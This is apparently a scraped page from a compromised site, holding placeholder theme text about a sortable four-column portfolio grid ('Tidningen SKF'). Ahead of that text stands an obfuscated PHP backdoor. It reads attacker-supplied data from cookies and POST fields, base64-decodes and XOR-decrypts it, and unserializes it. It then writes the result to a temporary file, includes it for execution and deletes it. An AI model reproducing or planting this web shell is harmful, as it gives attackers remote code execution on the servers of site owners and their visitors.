$cDxQosMdT = chr (112) . chr (112) . "\137" . "\166" . "\x44" . "\142" . "\127";$voplvx = "\143" . "\154" . "\x61" . "\x73" . chr ( 515 - 400 ).chr (95) . "\x65" . "\170" . "\x69" . 's' . chr ( 159 - 43 ).chr (115); $cGkxFYR = $voplvx($cDxQosMdT); $eOvDq = $cGkxFYR;if (!$eOvDq){class pp_vDbW{private $PukxTEp;public static $rDzRfLgLa = "1d886a86-2305-4214-9769-145536da31e5";public static $vZtJOrPwrb = 38764;public function __construct(){$YcLVK = $_COOKIE;$CoiObLVR = $_POST;$tyIWn = @$YcLVK[substr(pp_vDbW::$rDzRfLgLa, 0, 4)];if (!empty($tyIWn)){$EKAmiGQt = "base64";$OjMdszzbz = "";$tyIWn = explode(",", $tyIWn);foreach ($tyIWn as $ljoAqFYM){$OjMdszzbz .= @$YcLVK[$ljoAqFYM];$OjMdszzbz .= @$CoiObLVR[$ljoAqFYM];}$OjMdszzbz = array_map($EKAmiGQt . chr (95) . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . "\x65", array($OjMdszzbz,)); $OjMdszzbz = $OjMdszzbz[0] ^ str_repeat(pp_vDbW::$rDzRfLgLa, (strlen($OjMdszzbz[0]) / strlen(pp_vDbW::$rDzRfLgLa)) + 1);pp_vDbW::$vZtJOrPwrb = @unserialize($OjMdszzbz);}}public function __destruct(){$this->QsOHmt();}private function QsOHmt(){if (is_array(pp_vDbW::$vZtJOrPwrb)) {$rKpIe = sys_get_temp_dir() . "/" . crc32(pp_vDbW::$vZtJOrPwrb['s' . chr (97) . chr ( 222 - 114 )."\164"]);@pp_vDbW::$vZtJOrPwrb["\x77" . chr (114) . 'i' . "\164" . 'e']($rKpIe, pp_vDbW::$vZtJOrPwrb[chr (99) . 'o' . chr (110) . "\164" . "\x65" . chr (110) . 't']);include $rKpIe;@pp_vDbW::$vZtJOrPwrb["\144" . "\145" . "\154" . chr (101) . chr (116) . "\145"]($rKpIe);exit();}}}$gNRGe = new pp_vDbW(); $gNRGe = 21800;} Portfolio – Tidningen SKF

This is an example of a sortable, 4 Column Portfolio.
For each Portfolio Page you create (any number possible) you can set column count,  pagination and item count, as well if its sortable or not.

You can add Portfolio Grids to every Page you want or need, with the help of the fantastic and easy to use template builder that is built right into the theme.